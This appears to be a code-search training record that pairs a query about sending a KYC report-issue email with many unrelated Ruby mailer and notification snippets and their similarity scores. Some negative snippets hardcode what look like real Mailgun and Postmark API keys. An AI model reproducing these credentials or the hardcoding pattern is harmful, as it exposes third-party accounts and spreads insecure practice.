mail(:to => @business.admin_email, :subject => \"#{@business.name} has received a new review on CONSIGN.NYC\")\n end", "def ack_receipt\n Net::HTTP.get(URI(params[:response_url]))\n end", "def approved\n @req = Request.last\n RequestMailer.approved(@req)\n end", "def send_store_review_email\n if (business.admin_email != nil && business.admin_email != \"\")\n Mailer.store_review_email(user, content, business, rating).deliver\n end\n end", "def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end", "def activation_request(consumer)\n publisher consumer.publisher\n I18n.locale = consumer.preferred_locale if consumer.preferred_locale.present?\n # ¡Aviso! Por favor verifíque la dirección de su correo electrónico.\n subject Analog::Themes::I18n.t(consumer.publisher, \"consumers.activation_request.subject\")\n recipients consumer.email\n from daily_deal_sending_email_address(consumer.publisher)\n sent_on Time.now\n body :consumer => consumer\n end", "def doctor_received_paymet\n is_recived_payment_by_doctor? ? \"Yes\" : \"No\"\n end", "def castle_risk_response\n request.env[\"castle_devise.risk_response\"]\n end", "def auto_reminder_email(class_date)\n @response_email = ResponseEmail.find_by_purpose(\"auto_reminder\")\n @body = format_auto_reminder(@response_email.body, class_date)\n recipients = class_date.registrations.map {|reg| reg.user.email }\n mail(:to => \"[email protected]\", :bcc => recipients, :subject => @response_email.subject, :reply_to => @response_email.reply_to)\n end", "def rejected(request)\n @request = request\n mail to: @request.user.email, subject: default_i18n_subject(id: @request.id)\n end", "def denied_client_code(crosswalk_record)\n rcc_log.debug \"Obtaining Denied CLIENT CODE for zero payment.\"\n if crosswalk_record && crosswalk_record.crosswalk_record_id.present?\n crosswalk_record = ReasonCodesClientsFacilitiesSetName.find(crosswalk_record.crosswalk_record_id)\n if crosswalk_record.present?\n client_code_association_records = crosswalk_record.reason_codes_clients_facilities_set_names_client_codes.\n select{|rcfsc| rcfsc.category == 'DENIED'}\n client_code_record = client_code_association_records.first.client_code if client_code_association_records.present?\n if client_code_record.present?\n denied_client_code = client_code_record.adjustment_code\n rcc_log.debug \"Denied CLIENT CODE : #{denied_client_code}, having ID : #{client_code_record.id}\"\n end\n end\n end\n denied_client_code.to_s.upcase\n end" ]
[ "0.6748683", "0.64014554", "0.60945463", "0.6022611", "0.6021259", "0.59857285", "0.5983301", "0.59740794", "0.59280777", "0.58867896", "0.58419216", "0.5809495", "0.5803105", "0.5749496", "0.57434714", "0.5729097", "0.57074267", "0.57048213", "0.5703757", "0.569166", "0.5674804", "0.56711286", "0.5659506", "0.5658394", "0.5639316", "0.56382", "0.56197166", "0.5593085", "0.5586977", "0.55807793", "0.55708563", "0.5567272", "0.55549645", "0.5545383", "0.55420685", "0.5523606", "0.55185634", "0.54993296", "0.5499089", "0.547046", "0.54614556", "0.54614556", "0.5458563", "0.54475087", "0.5430336", "0.5426864", "0.54173994", "0.54159707", "0.5410645", "0.53957963", "0.5389653", "0.53839123", "0.5376404", "0.5352587", "0.5332945", "0.53292483", "0.5328135", "0.5326052", "0.53151697", "0.53135294", "0.53116804", "0.5308214", "0.5306658", "0.53033274", "0.5301995", "0.5286993", "0.52866167", "0.52849287", "0.5279021", "0.5268658", "0.52673054", "0.52617127", "0.52574664", "0.5253726", "0.525168", "0.52487093", "0.52449995", "0.5238619", "0.52329093", "0.5229753", "0.5217328", "0.5217207", "0.521712", "0.5211416", "0.5207814", "0.5205937", "0.5204308", "0.51933545", "0.5193233", "0.51900434", "0.51896685", "0.5186318", "0.5182505", "0.5179415", "0.51701397", "0.51676047", "0.51674473", "0.5166783", "0.5162803", "0.5159437" ]
0.6365447
2
Get response for sending KYC report issue email Author: Mayur Date: 14/12/2018 Reviewed By:
def email_kyc_report_issue(data_to_format) {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def email_kyc_approve(data_to_format)\n {}\n end", "def email_report_issue(params)\n http_helper.send_post_request(\"#{@url_prefix}/#{get_user_id!(params)}/email/report-issue\", params)\n end", "def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end", "def holdtag_email(tbl_quality_issue)\n @tbl_quality_issue = tbl_quality_issue\n\n mlist1test = [ \n '[email protected]',\n ]\n \n mlist1 = [ \n '[email protected]',\n ]\n\n # mail(to: mlist1test , subject: 'CSD1-Sinter Shift Report Record Submitted')\n mail(to: mlist1test , subject: 'test holdtag mailer 06ht1')\n end", "def get_Email()\n \t return @outputs[\"Email\"]\n \tend", "def new_data_request_response(user_id, project_id)\n begin\n @project = Project.find(project_id)\n user = User.find(user_id)\n from DEFAULT_FROM\n reply_to DEFAULT_REPLY_TO\n subject \"SRDR - Update Regarding your Request for Data\"\n recipients user.email \n sent_on Time.now \n rescue Exception => e\n puts \"ERROR SENDING RESPONSE NOTICE: #{e.message}\\n#{e.backtrace}\\n\\n\"\n end\n end", "def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end", "def request_email ucr\n extract_variables ucr\n @url = accept_change_request_url(ucr.token)\n\n mail to: @user.email\n end", "def notification_msg\n author_name = author.firstname\n \"An issue has been reported by #{author_name}\"\n end", "def email_body\n sponsor_name = @config.plan.sponsor_name\n message = 'Hi there!'\\\n '<br />'\\\n '<br />'\\\n \"#{sponsor_name} has run their payroll. Please download the relevant reports below.\"\\\n '<br />'\\\n '<br />'\n message\n end", "def send_notification\n @emails = EmployeeEmail.all\n if @emails == []\n return\n else\n #rather unwise to have my api key just sitting here in the code, need to check if a new api-key can be generated\n RestClient.post \"https://api:key-5f4ada711a8a86a1292bcfe23aa9d0aa\"\\\n \"@api.mailgun.net/v2/sandbox3fcc0ad1e9ee457da78753f228405f7e.mailgun.org/messages\",\n :from => \"Excited User <[email protected]>\",\n :to => send_who_us,\n :subject => \"Ovuline Notification Test\",\n #ack! I need to find a way to get @company info into this next line\n :text => \"This is the Ovuline Notification System test message! A company (need to make this more specific) has submitted information to the Quotes Table! Is that former sentence incomplete or otherwise incorrect? Oh no! A bug!\"\n end\n end", "def emailResults()\n obj = EmailHelper.new()\n emailSubject = \"Illumina Capture Stats : Flowcell \" + @fcBarcode.to_s\n emailFrom = \"[email protected]\" \n emailText = @captureResults.formatForSTDOUT()\n emailTo = obj.getCaptureResultRecepientEmailList()\n\n begin\n obj.sendEmail(emailFrom, emailTo, emailSubject, emailText)\n rescue Exception => e\n puts e.message \n puts e.backtrace.inspect\n end\n end", "def email_job_result(jlh)\n return unless email_result?(jlh)\n email_expression = Regexp.new('EMAIL_RESULT_BELOW:(.*)EMAIL_RESULT_ABOVE',Regexp::MULTILINE)\n match = email_expression.match(jlh[:job_result])\n jmd = jlh[:jmd]\n jle = jlh[:jle]\n if (match.nil?)\n $logger.debug(\"The output for job_code #{jmd.job_code} does not have valid e-mail output!\")\n return\n end\n $logger.debug(\"The output for job_code #{jmd.job_code} does have valid e-mail output! See the rails log for details\")\n body = match[1]\n #get the subject from the body\n match = Regexp.new('SUBJECT:(.*)').match(body)\n subject = match[1] unless match.nil?\n body.sub!(\"SUBJECT:#{subject}\",'')#append on subject\n subject = $application_properties['service_subject'] + \" \" + subject if jlh.has_key?(:service)\n subject = subject + ' -- REMINDER ' + @reminder_hash[jmd.job_code].to_s if (jlh[:reminder_email])\n body.chomp!.reverse!.chomp!.reverse! unless jmd.email_content_type.eql?('text/html')\n from = $application_properties['PST_Team']\n content_type = jmd.email_content_type\n recipients = []\n cc = []# or should it be ''?\n #banana slug\n #integrate with escalation levels to get additional e-mails out of the escalation\n recipients = jlh[:email_to] if jlh.has_key?(:email_to)\n cc = jlh[:email_cc] if jlh.has_key?(:email_cc)\n\n if (jmd.track_status_change && jmd.email_on_status_change_only)\n esc = jle.get_escalation\n esc = JobLogEntry.before(jle).status_not(\"UNKNOWN\").limit(1).first.get_escalation if esc.nil? #if this is nil this jle is green\n\n if ! esc.nil? #this is added in the event that the alert has never been red and we are in this method because we are executing as a service\n esc_emails = esc.get_escalation_based_emails\n recipients = recipients | esc_emails[0]\n cc = cc | esc_emails[1]\n end\n end\n\n recipients = recipients.uniq.join(',')\n cc = cc.uniq.join(',')\n\n email_hash = {:request => jmd.job_code, :content_type => content_type, :subject=>subject,\n :recipients=>recipients, :from=>from, :cc=>cc,:body=>body,\n :incl_attachment=>jmd.incl_attachment,:attachment_path=>jmd.attachment_path,\n :jmd => jmd, :jle => jle}\n\n JobMailer.job_result(email_hash).deliver\n end", "def confirm_booksbymail_email(user, bib, values)\n @to = \"[email protected]\"\n @from = \"#{user.name} <#{user.data['email']}>\"\n @subject = \"Books by Mail Request\"\n\n @title = values['title']\n @bibid = values['bibid']\n @author = values['author']\n @publication = values['publication']\n @callno = values['call_no']\n @volume = values['volume']\n @comments = values[:comments]\n @patronname = user.name \n @patronemail = values['email']\n @pennid = user.data['penn_id']\n\n if Rails.env.development?\n @subject = \"TEST \" + @subject + \" (to: #{@to}, from: #{@from})\"\n @to = ENV['DEVELOPMENT_EMAIL']\n @from = ENV['DEVELOPMENT_EMAIL']\n end\n\n mail(to: @to,\n from: @from,\n subject: @subject,\n template_name: 'confirm_booksbymail')\n end", "def send_email(cab_request,pick_up_date,pick_up_time,requester,admin_emails,vendor_email)\n mail(reply_to:[requester,admin_emails,vendor_email], cc: [admin_emails,vendor_email,requester] , subject: \"[Cab Request]\", body:\n\n \"Name :\\t\" + cab_request.traveler_name+\n\n \"\\nContact_no :\\t\" + cab_request.contact_no+\n\n \"\\nFrom :\\t\" + cab_request.source+\n\n \"\\nTo :\\t\" + cab_request.destination+\n\n \"\\nOn :\\t\" + pick_up_date+\n\n \"\\nAt :\\t\" + pick_up_time+\n\n \"\\nVehicle Type :\\t\" + cab_request.vehicle_type+\n\n \"\\nOther Travellers :\\t\" + cab_request.other_travellers+\n\n \"\\nComments :\\t\" + cab_request.comments+\n\n \"\\nStatus :\\t\" + cab_request.status)\n\n end", "def body_for_issue(issue)\n if issue[:site] == :github\n username = '@' + issue[:author]\n else\n username = issue[:author]\n end\n \n formatted_date = issue[:date].strftime(\"%Y-%m-%d at %H:%M (UTC)\")\n header = \"Issue originally opened by #{username} on #{formatted_date}, \"\\\n \"and migrated by the [Motherforker](https://github.com/ExplodingCabbage/motherforker).\\n\\n\"\\\n \"Original issue: #{issue[:url]}\\n\\n\"\\\n \"----------------------------------------------\\n\\n\"\n \n return header + issue[:body]\n end", "def qc_revised\n SeriesMailer.qc_revised\n end", "def response_request(leaveapplication)\n @leaveapplication = leaveapplication \n mail :to=> User.find(@leaveapplication.user_id).email.to_s,:cc=> \"[email protected]\",:subject=>\"Response\"\n end", "def ep_notify(form_answer_id, collaborator_id)\n @form_answer = FormAnswer.find(form_answer_id).decorate\n @user = @form_answer.user.decorate\n collaborator = User.find(collaborator_id)\n\n @current_year = @form_answer.award_year.year\n @subject = \"King's Awards for Enterprise Promotion: Thank you for your nomination\"\n\n send_mail_if_not_bounces ENV['GOV_UK_NOTIFY_API_TEMPLATE_ID'], to: collaborator.email, subject: subject_with_env_prefix(@subject)\n end", "def chore_notification_email(assignment)\n @user = assignment.user\n @chore = assignment.chore\n @due_date = assignment.due_date.to_formatted_s(:long_ordinal)\n @url = complete_chore_url(assignment)\n sendgrid_category \"Chore Notification\"\n # sendgrid_unique_args :key2 => \"newvalue2\", :key3 => \"value3\"\n mail :to => @user.email, :subject => \"#{@user.name}. You've got a chore!\"\n end", "def donations_requested(user)\n setup_email_admin(user)\n @recipients = \"[email protected]\"\n @from = head_encode('\"Kroogi Contributions Request (system)\"'.t) + \" <[email protected]>\"\n @subject += head_encode(\"Contributions requested by %s\" / user.login)\n @content_type = \"text/html\" \n @body[:url] = \"http://#{APP_CONFIG[:hostname]}/admin/donation_requests\"\n @body[:user] = user\n end", "def report_request\n @subject = report_request_params[:subject]\n @requester = report_request_params[:requester]\n @message = report_request_params[:message]\n\n SingleCellMailer.admin_notification(@subject, @requestor, @message).deliver_now\n end", "def send_recipt(ticket)\n @ticket = ticket\n\n mail to: ticket.email\n end", "def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end", "def headers\n {\n :subject => Contact.first.response_subject,\n :to => %(\"#{email}\"),\n :from => Contact.first.name,\n :body => Contact.first.response_message.html_safe,\n content_type: \"text/html\"\n }\n end", "def raf_submitted(study_subject)\n#\t\t@greeting = \"Hi\"\n\t\t@study_subject = study_subject\n\n\t\tmail to: \"[email protected]\"\n\t\tmail cc: [\"[email protected]\", \"[email protected]\"]\n\t\tmail subject: \"TEST [CCLS Patient Notification Received] Identifier: #{@study_subject.icf_master_id_to_s}\"\n\tend", "def report_url\n report_url = \"mailto:\\\"#{translate 'admin.report_issue.name'}\\\"<#{translate 'admin.report_issue.email'}>\"\n report_url += \"?subject=#{CGI.escape translate('admin.report_issue.subject')}\"\n report_url += \"&body=#{CGI.escape translate('admin.report_issue.body')}\"\n report_url\n end", "def email(defn, participant, assignment)\n defn[:body][:type] = \"Teammate Review\"\n participant = AssignmentParticipant.find(reviewee_id)\n topic_id = SignedUpTeam.topic_id(participant.parent_id, participant.user_id)\n defn[:body][:obj_name] = assignment.name\n user = User.find(participant.user_id)\n defn[:body][:first_name] = user.fullname\n defn[:to] = user.email\n Mailer.sync_message(defn).deliver\n end", "def receipt\n mail(\n to: \"[email protected]\",\n subject: \"New for review for your commute\"\n )\n end", "def send_new_notifcation(server, metric, metric_details)\n servername = server.upcase\n #puts metric_details.class\n subject = \"[WATCHCAT] Issue on #{server}\"\n body = \"#{servername} has a problem with #{metric[server]}. \\n #{metric[server]} is \\n\"\n if (metric_details.class == Array)\n metric_details.each do |detail|\n detail.each do |k,v|\n body << \"#{k} - #{v} \\n\" \n end\n body << \"---------- \\n\"\n end\n else\n body << metric_details.to_s\n end\n \n #send email\n send_mail(subject, body)\n \nend", "def acceptance_email ucr\n extract_variables ucr\n\n mail to: @user.email\n end", "def issue_body\n issue_body = <<~DOC\n @DanielKehoe would like feedback about yax.com.\n \n Did deployment and editing work?\n \n What are your thoughts, suggestions for improvements, etc.?\n \n Just give a reply here.\n \n _If you are curious about Yax, go to [stackless.community](https://stackless.community/) and sign up for the newsletter, all about Yax and building websites without frameworks or build tools._\n \n DOC\n end", "def admin_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n mail(:to => \"[email protected]\", :subject => \"New Review on CONSIGN.NYC\")\n end", "def error_email_content(exception)\n email_opts = self.class.opts[:error_email]\n headers = email_opts[:default_headers].call(email_opts, exception)\n headers = headers.merge(email_opts[:headers])\n headers = headers.map{|k,v| \"#{k}: #{v.gsub(/\\r?\\n/m, \"\\r\\n \")}\"}.sort.join(\"\\r\\n\")\n body = email_opts[:body].call(self, exception)\n \"#{headers}\\r\\n\\r\\n#{body}\"\n end", "def send_manual_review_needed_email\n return if (@reprocess == 1) || !@user_kyc_detail.send_manual_review_needed_email?\n\n review_type = (@client_kyc_pass_setting.approve_type == GlobalConstant::ClientKycPassSetting.auto_approve_type) &&\n (@user_kyc_comparison_detail.auto_approve_failed_reasons_array &\n GlobalConstant::KycAutoApproveFailedReason.ocr_fr_review_type_failed_reasons).present? ?\n GlobalConstant::PepoCampaigns.ocr_fr_failed_review_type :\n GlobalConstant::PepoCampaigns.manual_review_type\n\n template_variables = {\n case_id: @user_kyc_detail.id,\n full_name: @user_extended_detail.get_full_name,\n review_type: review_type\n }\n\n admin_emails = GlobalConstant::Admin.get_all_admin_emails_for(\n @user_kyc_comparison_detail.client_id,\n GlobalConstant::Admin.manual_review_needed_notification_type\n )\n\n admin_emails.each do |admin_email|\n ::Email::HookCreator::SendTransactionalMail.new(\n client_id: ::Client::OST_KYC_CLIENT_IDENTIFIER,\n email: admin_email,\n template_name: ::GlobalConstant::PepoCampaigns.manual_review_needed_template,\n template_vars: template_variables\n ).perform\n\n end\n\n end", "def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end", "def mail(email)\n \n client = SendGrid::Client.new do |c|\n c.api_key = ENV['SENDGRID_API_KEY']\n end\n\n mail = SendGrid::Mail.new do |m|\n # Specify to whom you are sending with the Email object\n m.to = '[email protected]'\n m.from = email.c_email \n m.subject = 'Guest Comments' \n #passing the 'first name' into the body of email\n m.text = email.c_comments \n end\n \n res = client.send(mail) \n puts res.code\n puts res.body \n \nend", "def response_mailing_information(id, action = 'sends', params = {})\n get(\"/response/#{id}/#{action}\", params)\n end", "def following_report\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/reports/#{@report.id}\")\n subject = \"[bootcamp] #{@report.user.login_name}さんが日報【 #{@report.title} 】を書きました!\"\n mail to: @user.email, subject: subject\n end", "def confirm(viper)\n @viper = viper\n if @viper.app_type == \"vip\"\n mail(to: @viper.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的买家:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证及名片)到展会现场VIP接待处领取VIP买家证。\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\n\"\n )\n else\n mail( to: @viper.email,\n subject: \"您的申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的客户:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证、参展商证)到展会现场领取晶品荟招待卡。\n\n\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\")\n end\n end", "def by_mail_tracker\n end", "def get_email_notification\n service_response = ClientManagement::GetEmailNotificationSetting.new(params).perform\n render_api_response(service_response)\n end", "def assigned_to(assignee)\n url = \"#{@url}buglist.cgi?emailassigned_to1=1&emailtype1=exact&email1=#{assignee}&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED\"\n @log.debug url\n page = @agent.get(url)\n bugs = []\n if page.search(\".//td[@id='error_msg']\").empty?\n headers = page.search(\".//tr[contains(@class,'bz_buglist_header')][1]/th\")\n columns = []\n index = 0\n headers.each {|header|\n columns << header.content.strip.downcase\n }\n page.search(\".//tr[contains(@class,'bz_bugitem')]\").each { |row|\n bug = {}\n child_count = 0\n row.children.each { |child|\n if child.element?\n \n if columns[child_count] == 'id'\n bug[columns[child_count]] = child.content.strip.match(/([0-9]+).*/)[1].to_i\n elsif columns[child_count] == 'pri'\n bug[columns[child_count]] = child.content.strip.match(/P([0-9]+).*/)[1].to_i\n elsif columns[child_count] == 'status'\n status = child.content.strip\n if status =~ /CLOS/\n bug[columns[child_count]] = Bug::CLOSED\n elsif status =~ /OPEN/\n bug[columns[child_count]] = Bug::OPEN\n elsif status =~ /RES/\n bug[columns[child_count]] = Bug::RESOLVED\n elsif status =~ /VERI/\n bug[columns[child_count]] = Bug::VERIFIED\n elsif status =~ /NEW/\n bug[columns[child_count]] = Bug::NEW\n elsif status =~ /REOP/\n bug[columns[child_count]] = Bug::REOPENED\n else\n @log.debug \"I don't understand #{status}\"\n end\n elsif columns[child_count] == 'resolution'\n resolution = child.content.strip\n if resolution =~ /FIX/\n bug[columns[child_count]] = Bug::FIXED\n elsif resolution =~ /WONT/\n bug[columns[child_count]] = Bug::WONTFIX\n elsif resolution =~ /INV/ \n bug[columns[child_count]] = Bug::INVALID\n else\n bug[columns[child_count]] = resolution\n end\n else\n bug[columns[child_count]] = child.content.strip\n end\n child_count = child_count + 1\n end\n }\n bugs << bug\n }\n else\n @log.error page.search(\".//td[@id='error_msg']\")[0].content.strip\n end\n return bugs\n end", "def request_mail(from_email, content_body, requestor_type)\n @content= content_body\n @sender = from_email\n @requestor_type = requestor_type\n mail from: from_email, to: '[email protected]', subject: 'PFS general enquiry'\n end", "def exp_msg\n { :'message' => SendgridClient.exp_msg }.to_json\n end", "def interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Takeoff - Interview Request\"\n \n mail to: \"[email protected]\", subject: subject\n \n \n end", "def get_mail\n \n end", "def bearstor_request\n @params = params\n to = params[:staff_email]\n from = \"Barnard Remote Request Service <#{params[:staff_email]}>\"\n title = params[:bib_record].title\n subject = \"New BearStor request [#{title}]\"\n mail(to: to, from: from, subject: subject)\n end", "def response(attendee_id)\n @attendee = WorkshopAttendee.find(attendee_id)\n mail(to: @attendee.email, subject: @attendee.first_name + \", you are now registered with our workshop sessions.\")\n end", "def auto_reminder_email(class_date)\n @response_email = ResponseEmail.find_by_purpose(\"auto_reminder\")\n @body = format_auto_reminder(@response_email.body, class_date)\n recipients = class_date.registrations.map {|reg| reg.user.email }\n mail(:to => \"[email protected]\", :bcc => recipients, :subject => @response_email.subject, :reply_to => @response_email.reply_to)\n end", "def failed_purchase_response\n 'NUMTRANS=0000000000&NUMAPPEL=0000000000&NUMQUESTION=0000000000&SITE=1999888&RANG=99&AUTORISATION=&CODEREPONSE=00014&COMMENTAIRE=Demande trait?e avec succ?s ✔漢'\n end", "def failed_authorization_request_body\n <<-REQUEST\n cancelUrl=http%3A%2F%2Ftest.smackaho.st%3A3000%2Ffailure&returnUrl=http%3A%2F%2Ftest.smackaho.st%3A3000%2Fsuccess&senderLastName=Grimfelt&receiverList.receiver(0).amount=1.0&memo=test&senderEmail=grimen%40example.com&custom=&receiverList.receiver(0).email=ashraf%40example.com&currencyCode=SEK&senderFirstName=Jonas\n REQUEST\n end", "def trainee_report\n @user = @receiver\n @notification = @user.notifications.find_by(link: \"/reports/#{@report.id}\")\n subject = \"[FBC] #{@report.user.login_name}さんが日報【 #{@report.title} 】を書きました!\"\n mail to: @user.email, subject: subject\n end", "def send_reset_password_email\n\n\n @user = User.where(:email => params[:email]).first\n\n if @user\n\n html = File.open(\"app/views/email/password_reset.html.erb\").read\n @renderedhtml = \"1\"\n ERB.new(html, 0, \"\", \"@renderedhtml\").result(binding)\n\n client = Postmark::ApiClient.new('b650bfe2-d2c6-4714-aa2d-e148e1313e37', http_open_timeout: 60)\n response = client.deliver(\n :subject => \"MailFunnels Password Reset\",\n :to => @user.email,\n :from => 'MailFunnels [email protected]',\n :html_body => @renderedhtml,\n :track_opens => 'true')\n\n response = {\n success: true,\n message: 'Your password has been sent to your email..'\n }\n\n render json: response\n\n else\n puts \"final else\"\n # Return Error Response\n response = {\n success: false,\n message: 'Sorry, we could not find an account with this email.'\n }\n\n render json: response\n\n end\n\n\n end", "def confirm(blank)\n @blank = blank\n if @blank.apply_type == \"ex_apply\"\n mail(to: @blank.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的参展商朋友:<br/>\n &nbsp;&nbsp;&nbsp;恭喜您,您所提交的参展申请已经审核通过,请携带个人名片、身份证及以下参展确认号至展会现场媒体接待处领取参展证。\n <ul>\n <li><a href='http://121.41.26.127/stores/1'>1号馆 左边部分</a></li>\n <li><a href='http://121.41.26.127/stores/3'>9号馆上半部分</a></li>\n <li><a href='http://121.41.26.127/stores/4'>1号馆 右边部分</a></li>\n <li><a href='http://121.41.26.127/stores/5'>9号馆下半部分</a></li>\n </ul>\n &nbsp;&nbsp;&nbsp;展览时间:
2015-06-25 至 2015-06-28 <br/>\n &nbsp;&nbsp;&nbsp;展览地点: 
深圳会展中心(1、9号馆) 
<br/>\n &nbsp;&nbsp;&nbsp;如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\"\n )\n else\n mail( to: @blank.email,\n subject: \"您的记者证申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的媒体朋友:\n恭喜您,您所提交的记者证申请已经审核通过,请携带个人名片、身份证及以下记者证确认号至展会现场媒体接待处领取记者证。\n\n展览时间:
2015-06-25 至 2015-06-28 \n
展览地点: 
深圳会展中心(1、9号馆) 
\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\")\n end\n end", "def kyc_issue_template\n 'kyc_issue'\n end", "def send_result_mail\n employee = Employee.find_by(email: \"[email protected]\")\n value = employee.values.last\n EmployeeMailer.send_result_mail(employee, value)\n end", "def customer_support(question, email)\n new_ticket = Slack::Notifier.new ENV['slack_webhook_url'],\n channel: \"#customer-support\",\n username: self.username\n message = \"#{self.username} asks #{question}. Email: #{email}\"\n new_ticket.ping message\n\n message\n end", "def rejected_notification\n @user = params[:user]\n mail(to: @user.email, subject: 'Library Card Request Rejected')\n end", "def message_for_display\n issue_url = nil\n if issue_key\n issue_url = Settings.rcm_jira_issue_url % issue_key\n end\n\n [error_cause, issue_url].reject(&:blank?).join(\"\\n\")\n end", "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "def approved_notification\n @user = params[:user]\n mail(to: @user.email, subject: 'Library Card Request Approved')\n end", "def notify_reviewee\n begin\n PerfReviewMailer.notify(self.employee.email,self).deliver_now\n rescue\n end\n end", "def headers\n {\n :subject => \"<#{subject}>\",\n :to => \"[email protected]\",\n :from => \"CatchAll\",\n :reply_to => \"#{reply}\"\n }\n end", "def launch_email_client()\n destination = \"mailto:#{@@item.chair_email}\" +\n \"?cc=private@#{@@item.mail_list}.apache.org,[email protected]\"\n\n if @@item.missing\n subject = \"Missing #{@@item.title} Board Report\"\n body = %{\n Dear #{@@item.owner},\n\n The board report for #{@@item.title} has not yet been submitted for\n this month's board meeting. If you or another member of the PMC are\n unable to get it in by twenty-four hours before meeting time, please\n let the board know, and plan to report next month.\n\n https://www.apache.org/foundation/board/reporting#how\n\n Thanks,\n\n #{Pending.username}\n\n (on behalf of the ASF Board)\n }\n\n # strip indentation; concatenate lines within a paragraph\n indent = body[/^\\s*/]\n body = body.strip().gsub(/#{indent}/, \"\\n\").gsub(/(\\S)\\n(\\S)/, \"$1 $2\")\n else\n subject = \"#{@@item.title} Board Report\"\n body = @@item.comments\n end\n\n window.location = destination +\n \"&subject=#{encodeURIComponent(subject)}\" +\n \"&body=#{encodeURIComponent(body)}\"\n end", "def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end", "def trust_responder_notification(buyer_first_name,buyer_email,buyer_mail_number,investor,trust_responder_notification,buyer_id,is_squeeze_buyer)\n @from = \"#{investor.full_name } <#{investor.investor_email_address}>\"\n @recipients = buyer_email\n @subject = \"#{trust_responder_notification.email_subject}\"\n @sent_on = Time.now\n @body[:buyer_first_name] = buyer_first_name\n @body[:buyer_mail_number] = buyer_mail_number\n @body[:email_body] = trust_responder_notification.email_body\n @body[:investor] = investor\n @body[:buyer_id] = buyer_id\n @body[:is_squeeze_buyer] = is_squeeze_buyer\n @content_type = \"text/html\"\n bts_hdr = {:category => EMAIL_CATEGORIES[:bts]}\n @headers[\"X-SMTPAPI\"] = bts_hdr.to_json\n end", "def review_decision\n\t\tproject = @task.project\n\t\t@data[:decision_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:decision_title] = @task.title\n\t\t@data[:project_name] = project.title\n @data[:recipient_names] = recipient_names\n\t\t@data[:decision_link] = 